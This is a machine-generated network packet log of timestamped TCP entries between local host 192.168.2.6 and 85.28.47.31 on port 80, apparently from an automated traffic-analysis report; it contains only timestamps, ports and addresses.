Jul 26, 2024 10:36:15.216927052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216938019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216948032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216959000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216959953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216959953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216972113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216974974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216984034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216995001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217005968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217016935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217035055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217035055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217055082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217160940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217174053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217184067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217195034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217211962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217211962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217222929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217236042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217237949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217268944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217268944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217422009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217686892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217699051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217709064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217720985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217731953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217742920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217749119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217749119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217756987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217768908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217780113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217783928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217792034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217803001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217803955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217814922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217828035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217829943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217829943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217839956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217852116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217861891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.217885017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217885017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.217912912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.305500984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305525064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305537939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305624962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.305675030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305686951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305697918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305710077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305723906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.305752993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.305921078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305932999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305943012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305954933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305965900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305977106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305988073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.305988073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.305988073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.305999994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306013107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306044102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306044102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306096077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306379080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306391001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306401968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306415081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306423903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306426048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306437969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306449890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306461096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306463003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306463003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306472063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306483030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306488037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306494951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306536913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306536913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306838036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306850910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306860924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306873083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306884050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306900024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306904078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306904078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306914091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.306952953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.306952953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307163000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307174921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307185888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307197094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307208061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307218075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307220936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307231903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307231903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307270050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307270050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307459116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307471037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307481050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307517052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307517052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307622910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307636023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307646036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307662964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307672977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307686090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307687044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307687044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307696104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307707071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307718039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307729006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307739019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307744026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307744026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307750940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.307785034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.307785034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308339119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308351040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308361053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308373928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308384895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308394909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308407068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308413982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308417082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308429003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308429956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308440924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308445930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308451891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308459044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308461905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308474064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308491945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308502913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308514118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308514118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308514118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308525085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308531046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308536053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308548927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.308558941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308595896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.308595896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309241056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309257030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309267998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309278965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309292078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309303045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309308052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309308052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309314013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309325933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309335947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309346914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309359074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309360981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309360981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309370995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309382915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309393883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309393883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309395075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309406042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309416056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309425116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309427023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309437990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309449911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309462070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.309473991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309473991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.309500933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310190916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310203075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310214996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310226917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310237885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310250998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310261965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310261965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310261965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310275078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310286045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310296059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310306072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310309887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310309887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310318947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310329914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310340881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.310348988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310368061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.310389996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.398399115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398412943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398423910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398473024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398483992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398483992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.398488998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398499012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398538113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.398566008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398617983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.398912907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398931980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398942947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.398961067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399022102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399091005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399101973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399111986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399122953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399163961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399163961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399234056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399245977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399255037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399266958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399276972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399287939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399298906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399301052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399301052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399352074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399352074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399537086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399554968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399566889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399578094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399589062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399599075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399599075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399600029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399610996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399625063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399636030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399647951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399653912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399653912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399657965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399668932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399681091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.399681091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399709940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.399729967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400367022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400378942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400388956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400399923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400410891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400420904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400432110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400433064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400433064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400443077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400453091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400465012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400468111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400475979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400479078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400496960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400502920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400509119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400520086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400527000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400531054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400542974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400573015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400579929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400780916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400791883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400800943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400811911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400846004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400846004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400921106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400932074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400942087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400952101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400964022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400965929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.400974989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.400985956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401001930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401005983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.401005983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.401012897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401024103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401035070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401046038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401057005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401061058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.401061058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.401068926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.401091099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.401091099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.401139021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403503895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403515100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403525114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403537035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403551102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403562069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403572083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.403573036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403584957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.403594971 CEST	80	49710	85.28.47.31	192.168.2.6
